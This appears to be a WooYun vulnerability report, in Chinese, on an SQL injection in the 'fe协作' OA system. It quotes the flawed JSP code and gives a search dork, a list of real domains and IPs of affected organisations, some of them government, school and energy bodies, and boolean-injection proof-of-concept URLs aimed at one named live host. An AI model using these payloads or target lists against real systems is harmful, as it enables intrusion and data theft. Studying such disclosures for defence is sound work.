WooYun.org

涉及客户群体为：
大型企业（如：拉芳集团等等超大企业）、学校（北京师范）、医药、政府（如：珠海市人民防空办公室、广东省渔政总队珠海支队、广东煤炭地质局等等。。。）、能源（电网）、银行等等。。。
通过关键字搜索如下：
intitle:"fe协作"
http://oa.bamatea.com
http://oa.moonbasa.com
http://oa.etonetech.com
http://oa.ztcz.cn
http://218.249.130.74
http://119.146.190.170:9988
http://zhidao.baidu.com
http://wenku.baidu.com
http://223.4.22.36
http://222.243.160.83:9090
http://www.chipshow.cn
http://116.205.96.170:9090
http://www.sxjbjt.com:9090
http://122.225.203.168:8888
http://oa.chinabed.com
http://oa.lutongnet.com
http://oa.zetacn.com:9090
http://oa.zhcpt.edu.cn
http://www.doc88.com
http://oa.sinodata.com.cn
http://www.docin.com
http://www.koyochem.com:8080
http://61.186.155.27
http://oa.nyinn.cn
http://115.236.65.115:9090
http://119.146.190.118:8089
http://219.137.250.133
http://123.133.29.174:9090
http://koa.ecp888.com
http://www.cting.com.cn
http://oa.suncorps.cn
http://59.41.47.211
http://oa.bamatea.com:9090
http://oa.zhenaiws.com
http://www.koyochem.com:9191
http://60.208.131.46:9090
http://219.131.221.174:9090
http://oa.bnuz.edu.cn:8080
http://183.238.59.61:9090
http://218.205.208.22:9090
http://oa.xhlbdc.com
http://124.193.165.174:9090
http://218.75.87.186:9090
http://oa.eva-group.com:511
http://113.106.92.16:9090
http://oa.cqmsy.com
http://cting.com.cn
http://220.231.158.211
http://oa.tiholding.cn
http://124.172.170.141:9090
http://oa.hengdigroup.com:9090
http://www1.elkay.com.cn:9090
http://www.gzpiano.com
http://oa.zaffer.cn
http://oa.gdisg.com
分析
witapprovemanage\apprvaddNew.jsp

Dao dao = (Dao)ResourceManage.getContext("dao");
WitCollocate wit = (WitCollocate)ResourceManage.getContext("witCollocate");
DataTable table = wit.getModels();
DataTable apps = wit.getAppResource();
String flowid = "";
FieldSet fs = null;
String tablenameStr = "";
if(request.getParameter("flowid")!=null){
flowid = request.getParameter("flowid");//直接获取flowid变量
fs= dao.getFieldSetByFilter(dao.getTableName("WF_MODEL")," WM00= '" + flowid + "'");//这里进入sql语句查询。。。产生sql注入漏洞
tablenameStr = fs.getString("WM04");
}

证明：
http://www1.elkay.com.cn:9090/witapprovemanage/apprvaddNew.jsp?flowid=1' or '1'='1

http://www1.elkay.com.cn:9090/witapprovemanage/apprvaddNew.jsp?flowid=1' or '1'='12